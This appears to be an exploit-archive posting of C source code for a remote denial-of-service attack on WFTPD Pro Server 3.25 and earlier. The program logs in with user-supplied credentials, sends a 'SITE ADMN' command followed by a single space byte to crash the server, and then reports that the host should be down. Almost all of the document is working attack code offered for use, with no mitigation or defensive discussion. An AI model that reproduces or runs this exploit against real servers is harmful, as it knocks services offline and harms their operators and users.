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WFTPD Pro Server <= 3.25 SITE ADMN Remote Denial of Service Exploit
[===================================================================
WFTPD Pro Server <= 3.25 SITE ADMN Remote Denial of Service Exploit
===================================================================
/************************************************************************
*WFTPD server <= 3.25 SITE ADMN DoS *
* *
*Sending command SITE ADMN + \32 makes server BOOM *
* *
*usage: wftpd_dos.exe ip port user pass *
* *
*Coded by Marsu <Marsupilamipowa@hotmail.fr> *
************************************************************************/
#include "winsock2.h"
#include "stdio.h"
#include "stdlib.h"
#pragma comment(lib, "ws2_32.lib")
int main(int argc, char* argv[])
{
struct hostent *he;
struct sockaddr_in sock_addr;
WSADATA wsa;
int ftpsock;
char recvbuff[1024];
char evilbuff[100];
int buflen=100;
if (argc!=5)
{
printf("[+] Usage: %s <ip> <port> <user> <pass>\n",argv[0]);
return 1;
}
WSACleanup();
WSAStartup(MAKEWORD(2,0),&wsa);
printf("[+] Connecting to %s:%s ... ",argv[1],argv[2]);
if ((he=gethostbyname(argv[1])) == NULL) {
printf("Failed\n[-] Could not init gethostbyname\n");
return 1;
}
if ((ftpsock = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
printf("Failed\n[-] Socket error\n");
return 1;
}
sock_addr.sin_family = PF_INET;
sock_addr.sin_port = htons(atoi(argv[2]));
sock_addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(sock_addr.sin_zero), '\0', 8);
if (connect(ftpsock, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr)) == -1) {
printf("Failed\n[-] Sorry, cannot connect to %s:%s. Error: %i\n", argv[1],argv[2],WSAGetLastError());
return 1;
}
printf("OK\n");
memset(recvbuff,'\0',1024);
recv(ftpsock, recvbuff, 1024, 0);
memset(evilbuff,'\0',buflen);
memcpy(evilbuff,"USER ",5);
memcpy(evilbuff+5,argv[3],strlen(argv[3]));
memcpy(evilbuff+5+strlen(argv[3]),"\r\n\0",3);
printf("[+] Sending USER ... ");
if (send(ftpsock,evilbuff,strlen(evilbuff),0)==-1) {
printf("Failed\n[-] Could not send\n");
return 1;
}
printf("OK\n");
memset(recvbuff,'\0',1024);
recv(ftpsock, recvbuff, 1024, 0);
memset(evilbuff,'\0',buflen);
memcpy(evilbuff,"PASS ",5);
memcpy(evilbuff+5,argv[4],strlen(argv[4]));
memcpy(evilbuff+5+strlen(argv[4]),"\r\n\0",3);
printf("[+] Sending PASS ... ");
if (send(ftpsock,evilbuff,strlen(evilbuff),0)==-1) {
printf("Failed\n[-] Could not send\n");
return 1;
}
printf("OK\n");
recv(ftpsock, recvbuff, 1024, 0);
memset(evilbuff,'\0',buflen);
memcpy(evilbuff,"SITE ADMN ",10);
memset(evilbuff+10,32,1); //this char is powerfull :p
memcpy(evilbuff+10+1,"\r\n\0",3);
printf("[+] Sending SITE ADMN ... ");
if (send(ftpsock,evilbuff,strlen(evilbuff),0)==-1) {
printf("Failed\n[-] Could not send\n");
return 1;
}
printf("OK\n");
printf("[+] Host should be down\n");
return 0;
}
# 0day.today [2024-12-24] #